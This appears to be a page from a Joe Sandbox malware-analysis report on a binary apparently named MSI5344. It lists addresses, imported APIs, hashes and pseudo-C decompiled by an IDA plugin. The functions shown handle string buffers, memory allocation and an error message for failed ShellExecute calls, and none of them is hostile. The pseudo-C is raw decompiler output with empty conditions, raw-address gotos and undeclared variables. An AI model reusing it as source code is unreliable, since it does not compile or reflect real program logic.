0x7ff7af6e76fb
0x7ff7af6e7701
0x7ff7af6e7714
0x7ff7af6e7724
0x7ff7af6e7731
0x7ff7af6e7737
0x7ff7af6e773d
0x7ff7af6e7745
0x7ff7af6e7754
0x7ff7af6e7769
0x7ff7af6e776f
0x7ff7af6e7774
0x7ff7af6e777c
0x7ff7af6e777e
0x7ff7af6e7782
0x7ff7af6e778f
0x7ff7af6e7794
0x7ff7af6e7799
0x7ff7af6e779b
0x7ff7af6e779e
0x7ff7af6e77aa
0x7ff7af6e77be
0x7ff7af6e77ce
0x7ff7af6e77db
0x7ff7af6e77e1
0x7ff7af6e77e9
0x7ff7af6e77f8
0x7ff7af6e780d
0x7ff7af6e7813
0x7ff7af6e7821
0x7ff7af6e7826
0x7ff7af6e782a
0x7ff7af6e783a
0x7ff7af6e7841
0x7ff7af6e7846
0x7ff7af6e7848
0x7ff7af6e784b
0x7ff7af6e7851
0x7ff7af6e7853
0x7ff7af6e7855
0x7ff7af6e7857
0x7ff7af6e785a
0x7ff7af6e7862
0x7ff7af6e786b
0x7ff7af6e7875
0x7ff7af6e787b
0x7ff7af6e788a
0x7ff7af6e7890
0x7ff7af6e7895
0x7ff7af6e789e
0x7ff7af6e78a9
0x7ff7af6e78b7
0x7ff7af6e78bc
0x7ff7af6e78d6
0x7ff7af6e78de
0x7ff7af6e78e5
0x7ff7af6e78ee
0x7ff7af6e78fa
0x7ff7af6e7904
0x7ff7af6e790e
0x7ff7af6e7910
0x7ff7af6e7913
0x7ff7af6e7919
0x7ff7af6e7924
0x7ff7af6e7929
0x7ff7af6e7933
0x7ff7af6e7939
0x7ff7af6e7940
0x7ff7af6e7944
0x7ff7af6e7946
0x7ff7af6e7948
0x7ff7af6e794a
0x7ff7af6e795d
0x7ff7af6e795f
0x7ff7af6e7961
0x7ff7af6e7965
0x7ff7af6e798d

APIs

Part of subcall function 00007FF7AF6E28A0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28B5
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28DA
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E2904
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E299C

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E798E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E7994
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E799A
SimpleString::operator=.MSOBJ140-MSVCRT ref: 00007FF7AF6E79C3

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$_invalid_parameter_noinfo_noreturn$Lockit::_Lockit::~_$SimpleString::operator=
String ID:
API String ID: 20829206-0
Opcode ID: cb727d4640d8293f2d3279ca88840efe0ef648c0adcf89a629128c6e99b31620
Instruction ID: 0bc665498d4d29b3be7c950a4eb4fdd72fd123b138a69d816d044c18f6fcd300
Opcode Fuzzy Hash: cb727d4640d8293f2d3279ca88840efe0ef648c0adcf89a629128c6e99b31620
Instruction Fuzzy Hash: 03B18E27B0AA82C9EB00EF75D4543EC6766EB48B98F925132DE2D177A9DF39D049C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EA5A4 Relevance: 6.2, APIs: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF6EA5A4(void* __ecx, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, long long __r8, long long __r9, void* _a8, void* _a16, void* _a24, void* _a32, intOrPtr _a40) {
				void* _t46;
				long long _t59;
				void* _t68;
				void* _t69;
				signed long long _t77;
				signed long long _t92;
				void* _t94;
				signed long long _t109;
				signed long long _t110;
				signed long long _t113;

				_t46 = _t94;
				 *((long long*)(_t46 + 8)) = __rbx;
				 *((long long*)(_t46 + 0x10)) = __rbp;
				 *((long long*)(_t46 + 0x18)) = __rsi;
				 *((long long*)(_t46 + 0x20)) = __r9;
				_t109 =  *(__rcx + 0x10);
				if (0xfffffffe - _t109 - __rdx < 0) goto 0xaf6ea72c;
				_t92 =  *((intOrPtr*)(__rcx + 0x18));
				_t113 = _t109 + __rdx;
				r8d = 0;
				_t77 = _t113 | 0x00000007;
				if (_t77 - 0xfffffffe > 0) goto 0xaf6ea611;
				if (_t92 - 0xfffffffe - (_t92 >> 1) <= 0) goto 0xaf6ea621;
				goto 0xaf6ea652;
				_t59 =  <  ? 0xfffffffffffffffe + _t92 : _t77;
				_t68 = _t59 + 1;
				if (_t68 - 0xffffffff > 0) goto 0xaf6ea732;
				_t69 = _t68 + _t68;
				if (_t69 - 0x1000 < 0) goto 0xaf6ea65c;
				E00007FF77FF7AF6D2130(0xffffffff, _t69);
				goto 0xaf6ea66b;
				if (_t69 == 0) goto 0xaf6ea668;
				E00007FF77FF7AF6D7860();
				goto 0xaf6ea657;
				 *(__rcx + 0x10) = _t113;
				_t110 = _t109 + _a40;
				 *((long long*)(__rcx + 0x18)) = _t59;
				if (_t92 - 8 < 0) goto 0xaf6ea6e4;
				_t60 =  *__rcx;
				E00007FF77FF7AF70AFB0();
				E00007FF77FF7AF70AFB0();
				 *((short*)(__r8 + _t110 * 2)) = 0;
				if (2 + _t92 * 2 - 0x1000 < 0) goto 0xaf6ea6da;
				_t23 =  *__rcx -  *((intOrPtr*)(_t60 - 8)) - 8; // 0x7ffffffffffffff6
				if (_t23 - 0x1f > 0) goto 0xaf6ea726;
				E00007FF77FF7AF6D7870( *((intOrPtr*)(_t60 - 8)));
				goto 0xaf6ea703;
				E00007FF77FF7AF70AFB0();
				E00007FF77FF7AF70AFB0();
				 *((short*)(__r8 + _t110 * 2)) = 0;
				 *((long long*)(__rcx)) = __r8;
				return 0;
			}

0x7ff7af6ea5a4
0x7ff7af6ea5a7
0x7ff7af6ea5ab
0x7ff7af6ea5af
0x7ff7af6ea5b3
0x7ff7af6ea5c4
0x7ff7af6ea5e3
0x7ff7af6ea5e9
0x7ff7af6ea5ed
0x7ff7af6ea5f4
0x7ff7af6ea5f7
0x7ff7af6ea5fe
0x7ff7af6ea60f
0x7ff7af6ea61f
0x7ff7af6ea62b
0x7ff7af6ea639
0x7ff7af6ea640
0x7ff7af6ea646
0x7ff7af6ea650
0x7ff7af6ea652
0x7ff7af6ea65a
0x7ff7af6ea65f
0x7ff7af6ea661
0x7ff7af6ea666
0x7ff7af6ea66f
0x7ff7af6ea673
0x7ff7af6ea676
0x7ff7af6ea68d
0x7ff7af6ea68f
0x7ff7af6ea695
0x7ff7af6ea6a5
0x7ff7af6ea6b4
0x7ff7af6ea6c0
0x7ff7af6ea6cd
0x7ff7af6ea6d5
0x7ff7af6ea6dd
0x7ff7af6ea6e2
0x7ff7af6ea6e7
0x7ff7af6ea6f7
0x7ff7af6ea6fe
0x7ff7af6ea703
0x7ff7af6ea725

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6EA726
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EA732
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6EA8B2
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EA8BE

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 04ba490b85820bfab0c9d504425184ea7bbf6568a99ee466e052babb676936eb
Instruction ID: 8ed517de42ebd5f6e4f6cc5a38ca8a24d9ca635e29a61f3ff6f876efbe9d688c
Opcode Fuzzy Hash: 04ba490b85820bfab0c9d504425184ea7bbf6568a99ee466e052babb676936eb
Instruction Fuzzy Hash: AE810866B1668191EE04EF12E5042FAE36AAB44FE0FD55631DE6D077E5EE3CE051C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EA8C4 Relevance: 6.2, APIs: 4, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF7AF6EA8C4(void* __ecx, long long __rbx, long long* __rcx, void* __rdx, long long __rbp, long long __r9, long long _a8, long long _a16, void* _a24, long long _a40, signed short _a48) {
				short _v56;
				long long _v64;
				long long _v72;
				void* __rsi;
				void* __r14;
				void* __r15;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t32;
				void* _t48;
				intOrPtr _t57;
				void* _t65;
				void* _t66;
				signed long long _t72;
				long long* _t76;
				signed long long _t79;
				signed long long _t88;
				signed long long _t89;

				_t28 = __ecx;
				_a8 = __rbx;
				_a16 = __rbp;
				_t89 =  *(__rcx + 0x10);
				_t76 = __rcx;
				if (0xfffffffe - _t89 - __rdx < 0) goto 0xaf6eaa1d;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				_t88 = _t89 + __rdx;
				_t72 = _t88 | 0x00000007;
				if (_t72 - 0xfffffffe > 0) goto 0xaf6ea922;
				if (_t79 - 0xfffffffe - (_t79 >> 1) <= 0) goto 0xaf6ea932;
				goto 0xaf6ea963;
				_t48 = 0xfffffffffffffffe + _t79;
				_t8 = ( <  ? _t48 : _t72) + 1; // 0x1
				_t65 = _t8;
				if (_t65 - 0xffffffff > 0) goto 0xaf6eaa23;
				_t66 = _t65 + _t65;
				if (_t66 - 0x1000 < 0) goto 0xaf6ea96a;
				E00007FF77FF7AF6D2130(0xffffffff, _t66);
				goto 0xaf6ea976;
				if (_t66 == 0) goto 0xaf6ea979;
				E00007FF77FF7AF6D7860();
				_v56 = _a48 & 0x0000ffff;
				_v64 = _a40;
				_v72 = __r9;
				 *(__rcx + 0x10) = _t88;
				 *((long long*)(__rcx + 0x18)) =  <  ? _t48 : _t72;
				if (_t79 - 8 < 0) goto 0xaf6ea9f2;
				_t57 =  *((intOrPtr*)(__rcx));
				E00007FF77FF7AF6EC4EC(_t28, _t29, _t30, _t32, _t57, 0xffffffff, 0xffffffff, _t79, _t57, _t89, _t89, __r9);
				if (2 + _t79 * 2 - 0x1000 < 0) goto 0xaf6ea9e8;
				_t68 =  *((intOrPtr*)(_t57 - 8));
				_t20 = _t57 -  *((intOrPtr*)(_t57 - 8)) - 8; // -8
				if (_t20 - 0x1f > 0) goto 0xaf6eaa17;
				E00007FF77FF7AF6D7870( *((intOrPtr*)(_t57 - 8)));
				goto 0xaf6ea9fa;
				_t27 = E00007FF77FF7AF6EC4EC(_t28, _t29, _t30, _t32, _t68, 2 + _t79 * 2 + 0x27, 0xffffffff, _t79, _t76, _t89, _t89, __r9);
				 *_t76 = 0xffffffff;
				return _t27;
			}

0x7ff7af6ea8c4
0x7ff7af6ea8c4
0x7ff7af6ea8c9
0x7ff7af6ea8da
0x7ff7af6ea8f1
0x7ff7af6ea8f7
0x7ff7af6ea8fd
0x7ff7af6ea901
0x7ff7af6ea908
0x7ff7af6ea90f
0x7ff7af6ea920
0x7ff7af6ea930
0x7ff7af6ea932
0x7ff7af6ea94a
0x7ff7af6ea94a
0x7ff7af6ea951
0x7ff7af6ea957
0x7ff7af6ea961
0x7ff7af6ea963
0x7ff7af6ea968
0x7ff7af6ea96f
0x7ff7af6ea971
0x7ff7af6ea984
0x7ff7af6ea99c
0x7ff7af6ea9a1
0x7ff7af6ea9a6
0x7ff7af6ea9aa
0x7ff7af6ea9b2
0x7ff7af6ea9b4
0x7ff7af6ea9ba
0x7ff7af6ea9ce
0x7ff7af6ea9d0
0x7ff7af6ea9db
0x7ff7af6ea9e3
0x7ff7af6ea9eb
0x7ff7af6ea9f0
0x7ff7af6ea9f5
0x7ff7af6ea9fa
0x7ff7af6eaa16

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6EAA17
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EAA23
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6EAB84
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EAB90

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: b6b5800f06d645cf9eb54c890d06ab6624f0aa5ff2499e67edab193e45335fb7
Instruction ID: 4e01b49078c09b6a56cbee01f5e68b6e5a60150eb9be71f055a7d54c8013c8ac
Opcode Fuzzy Hash: b6b5800f06d645cf9eb54c890d06ab6624f0aa5ff2499e67edab193e45335fb7
Instruction Fuzzy Hash: 3271032271A6C685E910EB16E5043F9E35AEB04BE0F965631DE7D07BE6DE3CE092C314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D8900 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00007FF77FF7AF6D8900(void* __ecx, long long __rbx, signed short* __rdx, long long __rsi, long long __rbp, short* __r8, long long _a8, long long _a16, long long _a24) {
				signed int _t16;
				void* _t29;
				short* _t59;
				signed int* _t60;
				signed int* _t61;
				signed int* _t62;
				signed int* _t63;
				signed int* _t64;
				signed int* _t65;
				signed int* _t66;
				signed int* _t67;
				signed int* _t68;
				signed int* _t69;
				char* _t87;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				r14d = GetLastError();
				if ( *__r8 == 0) goto 0xaf6d893a;
				_t59 = __r8 + 2;
				if ( *_t59 != 0) goto 0xaf6d8930;
				 *_t59 = 0x43;
				_t60 = _t59 + 2;
				if (( *(L"Call to ShellExecute() for verb<" - _t59 + _t60) & 0x0000ffff) != 0) goto 0xaf6d8950;
				r15d = 0;
				 *_t60 = r15w;
				if (__rdx == 0) goto 0xaf6d8994;
				_t16 =  *__rdx & 0x0000ffff;
				if (_t16 == 0) goto 0xaf6d8990;
				asm("o16 nop [eax+eax]");
				 *_t60 = _t16;
				_t61 =  &(_t60[0]);
				if (( *(__rdx - _t60 + _t61) & 0x0000ffff) != 0) goto 0xaf6d8980;
				 *_t61 = r15w;
				asm("o16 nop [eax+eax]");
				 *_t61 = 0x3e;
				_t62 =  &(_t61[0]);
				if (( *(L"> returned:" - _t61 + _t62) & 0x0000ffff) != 0) goto 0xaf6d89b0;
				_t87 = L"\r\n";
				 *_t62 = r15w;
				 *_t62 = 0xd;
				_t63 =  &(_t62[0]);
				if (( *(_t63 + _t87 - _t62) & 0x0000ffff) != 0) goto 0xaf6d89e0;
				 *_t63 = r15w;
				E00007FF77FF7AF6D7900(__ecx, _t63);
				if ( *_t63 == r15w) goto 0xaf6d8a0e;
				_t64 =  &(_t63[0]);
				if ( *_t64 != r15w) goto 0xaf6d8a04;
				asm("o16 nop [eax+eax]");
				 *_t64 = 0xd;
				_t65 =  &(_t64[0]);
				if (( *(_t65 + _t87 - _t64) & 0x0000ffff) != 0) goto 0xaf6d8a20;
				 *_t65 = r15w;
				asm("o16 nop [eax+eax]");
				 *_t65 = 0x4c;
				_t66 =  &(_t65[0]);
				if (( *(_t66 + L"Last error=" - _t65) & 0x0000ffff) != 0) goto 0xaf6d8a50;
				 *_t66 = r15w;
				 *_t66 = 0xd;
				_t67 =  &(_t66[0]);
				if (( *(_t67 + _t87 - _t66) & 0x0000ffff) != 0) goto 0xaf6d8a70;
				 *_t67 = r15w;
				_t29 = E00007FF77FF7AF6D7900(r14d, _t67);
				if ( *_t67 == r15w) goto 0xaf6d8a9f;
				_t68 =  &(_t67[0]);
				if ( *_t68 != r15w) goto 0xaf6d8a95;
				asm("o16 nop [eax+eax]");
				 *_t68 = 0xd;
				_t69 =  &(_t68[0]);
				if (( *(_t69 + _t87 - _t68) & 0x0000ffff) != 0) goto 0xaf6d8ab0;
				 *_t69 = r15w;
				return _t29;
			}

0x7ff7af6d8900
0x7ff7af6d8905
0x7ff7af6d890a
0x7ff7af6d892a
0x7ff7af6d892d
0x7ff7af6d8930
0x7ff7af6d8938
0x7ff7af6d8950
0x7ff7af6d8953
0x7ff7af6d895e
0x7ff7af6d8960
0x7ff7af6d8963
0x7ff7af6d896a
0x7ff7af6d896c
0x7ff7af6d8972
0x7ff7af6d8977
0x7ff7af6d8980
0x7ff7af6d8983
0x7ff7af6d898e
0x7ff7af6d8990
0x7ff7af6d89a7
0x7ff7af6d89b0
0x7ff7af6d89b3
0x7ff7af6d89be
0x7ff7af6d89c0
0x7ff7af6d89c7
0x7ff7af6d89e0
0x7ff7af6d89e3
0x7ff7af6d89ee
0x7ff7af6d89f3
0x7ff7af6d89f9
0x7ff7af6d8a02
0x7ff7af6d8a04
0x7ff7af6d8a0c
0x7ff7af6d8a17
0x7ff7af6d8a20
0x7ff7af6d8a23
0x7ff7af6d8a2e
0x7ff7af6d8a37
0x7ff7af6d8a47
0x7ff7af6d8a50
0x7ff7af6d8a53
0x7ff7af6d8a5e
0x7ff7af6d8a63
0x7ff7af6d8a70
0x7ff7af6d8a73
0x7ff7af6d8a7e
0x7ff7af6d8a83
0x7ff7af6d8a8a
0x7ff7af6d8a93
0x7ff7af6d8a95
0x7ff7af6d8a9d
0x7ff7af6d8aa6
0x7ff7af6d8ab0
0x7ff7af6d8ab3
0x7ff7af6d8abe
0x7ff7af6d8acd
0x7ff7af6d8adf

APIs

GetLastError.KERNEL32 ref: 00007FF7AF6D8920

Strings

Last error=, xrefs: 00007FF7AF6D8A30
> returned:, xrefs: 00007FF7AF6D8994
Call to ShellExecute() for verb<, xrefs: 00007FF7AF6D893A

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: 30da56ea55efc90a899130efd013b01a5235d54a4816f1166cccce45d9f6b513
Instruction ID: 60c020d101baf28718314a2aebf7daa1492cf031cc88f600abe6f0056892bc90
Opcode Fuzzy Hash: 30da56ea55efc90a899130efd013b01a5235d54a4816f1166cccce45d9f6b513
Instruction Fuzzy Hash: C4519F5AA1669181EB156F31E4143B9B3F4FF54F88F8EA032DE89473A4EB3CD4518322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF718AD8 Relevance: 6.1, APIs: 4, Instructions: 99
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF718AD8(long long __rbx, char* __rcx, long long* __rdx, long long __rsi, void* __r8, void* __r9) {
				char _t24;
				char _t25;
				intOrPtr _t26;
				char _t27;
				intOrPtr* _t39;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t45;
				intOrPtr* _t55;
				intOrPtr* _t56;
				long long _t58;
				void* _t61;

				 *((long long*)(_t61 + 8)) = __rbx;
				 *((long long*)(_t61 + 0x10)) = _t58;
				 *((long long*)(_t61 + 0x18)) = __rsi;
				_t26 =  *((intOrPtr*)(__rcx));
				r9d = 0;
				if (_t26 ==  *((intOrPtr*)(__r9 + 0x7ff7af739b98))) goto 0xaf718b1c;
				if (_t26 !=  *((intOrPtr*)(__r9 + 0x7ff7af739b9c))) goto 0xaf718bd6;
				_t39 =  *((intOrPtr*)(__rdx));
				_t27 =  *_t39;
				_t40 = _t39 + 1;
				 *__rdx = _t40;
				 *__rcx = _t27;
				if (__r9 + 1 != 3) goto 0xaf718b04;
				_t55 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t55;
				if (_t27 == 0) goto 0xaf718b59;
				if ( *_t55 == _t27) goto 0xaf718b59;
				E00007FF77FF7AF70F830(_t40);
				 *_t40 = 0x16;
				E00007FF77FF7AF70F6C4();
				_t56 =  *((intOrPtr*)(__rdx));
				_t24 =  *_t56;
				_t9 = _t56 + 1; // 0x0
				 *__rdx = _t9;
				 *__rcx = _t24;
				r8b = _t24;
				if (_t24 ==  *((intOrPtr*)(__rdx + 0x7ff7af739ba0))) goto 0xaf718b80;
				if (_t24 !=  *((intOrPtr*)(__rdx + 0x7ff7af739ba8))) goto 0xaf718c05;
				_t42 =  *((intOrPtr*)(__rdx));
				_t25 =  *_t42;
				 *__rdx = _t42 + 1;
				r8b = _t25;
				 *__rcx = _t25;
				if (__rdx + 1 != 5) goto 0xaf718b6a;
				_t45 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t45;
				if (_t25 == 0) goto 0xaf718bbb;
				if ( *_t45 == _t25) goto 0xaf718bbb;
				E00007FF77FF7AF70F830(_t45);
				 *_t45 = 0x16;
				E00007FF77FF7AF70F6C4();
				return 3;
			}

0x7ff7af718ad8
0x7ff7af718add
0x7ff7af718ae2
0x7ff7af718af7
0x7ff7af718b01
0x7ff7af718b0c
0x7ff7af718b16
0x7ff7af718b1c
0x7ff7af718b22
0x7ff7af718b24
0x7ff7af718b27
0x7ff7af718b2c
0x7ff7af718b33
0x7ff7af718b38
0x7ff7af718b3b
0x7ff7af718b40
0x7ff7af718b44
0x7ff7af718b46
0x7ff7af718b4b
0x7ff7af718b51
0x7ff7af718b56
0x7ff7af718b59
0x7ff7af718b5b
0x7ff7af718b5f
0x7ff7af718b64
0x7ff7af718b67
0x7ff7af718b71
0x7ff7af718b7a
0x7ff7af718b80
0x7ff7af718b86
0x7ff7af718b8b
0x7ff7af718b8e
0x7ff7af718b91
0x7ff7af718b98
0x7ff7af718b9d
0x7ff7af718ba0
0x7ff7af718ba5
0x7ff7af718ba9
0x7ff7af718bab
0x7ff7af718bb0
0x7ff7af718bb6
0x7ff7af718bd5

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718B51
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718BB6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718BF2
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718C23

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9d79f9e4a49a637cca7be457e3a165718539814fd2d5b069bff891c471cd9fbd
Instruction ID: 091c09623fe549ae9e084a54087dc873c72f9cd3a5a7c53bbb2301273f9cab1b
Opcode Fuzzy Hash: 9d79f9e4a49a637cca7be457e3a165718539814fd2d5b069bff891c471cd9fbd
Instruction Fuzzy Hash: 2641B16A90ABC585E732EF2194602FDBBA49B09B44FCA8071DA8C073B6CE3D9405C325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DFB90 Relevance: 6.1, APIs: 4, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF77FF7AF6DFB90(void* __eax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long _a16, long long _a24) {
				long long _t20;

				_a16 = __rbx;
				_a24 = __rsi;
				_t20 =  *((intOrPtr*)(__rdx + 0x10));
				if ( *((long long*)(__rdx + 0x18)) - 0x10 < 0) goto 0xaf6dfbb3;
				if (_t20 - 0x10 >= 0) goto 0xaf6dfbdb;
				asm("movups xmm0, [ebx]");
				asm("movups [ecx], xmm0");
				 *((long long*)(__rcx + 0x10)) = _t20;
				 *((long long*)(__rcx + 0x18)) = 0xf;
				return __eax;
			}

0x7ff7af6dfb90
0x7ff7af6dfb95
0x7ff7af6dfba7
0x7ff7af6dfbae
0x7ff7af6dfbb7
0x7ff7af6dfbb9
0x7ff7af6dfbbc
0x7ff7af6dfbbf
0x7ff7af6dfbc3
0x7ff7af6dfbda

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6DFC16
LocalAlloc.KERNEL32 ref: 00007FF7AF6DFC3C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DFC75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DFC7B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: AllocLocal$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4094927620-0
Opcode ID: d3665c1d2ee84ad0d7ff356d5a5f9ced880d024f013486a0d2e196166b736cb6
Instruction ID: 0fd3612232eb5bcf6d48bb3876c8ceae34bfd6b8132b5466072a2667a6137095
Opcode Fuzzy Hash: d3665c1d2ee84ad0d7ff356d5a5f9ced880d024f013486a0d2e196166b736cb6
Instruction Fuzzy Hash: 4621A962A0BB8185EA04AB11E4443EAA266EB48BD0F945631DF6D077E5DF3CD5E18340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D2F20 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6D2F63
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D2F80
LocalFree.KERNEL32 ref: 00007FF7AF6D2FD3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D2FF0

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 195334829-0
Opcode ID: 93fa1cf892847dc1d6260ad6b15a240b269b17590b67c56a5d9cf5d11ccdba65
Instruction ID: 1f0c2e40f01934758e825869852b5e4593395925df70e218268c33259da5f145
Opcode Fuzzy Hash: 93fa1cf892847dc1d6260ad6b15a240b269b17590b67c56a5d9cf5d11ccdba65
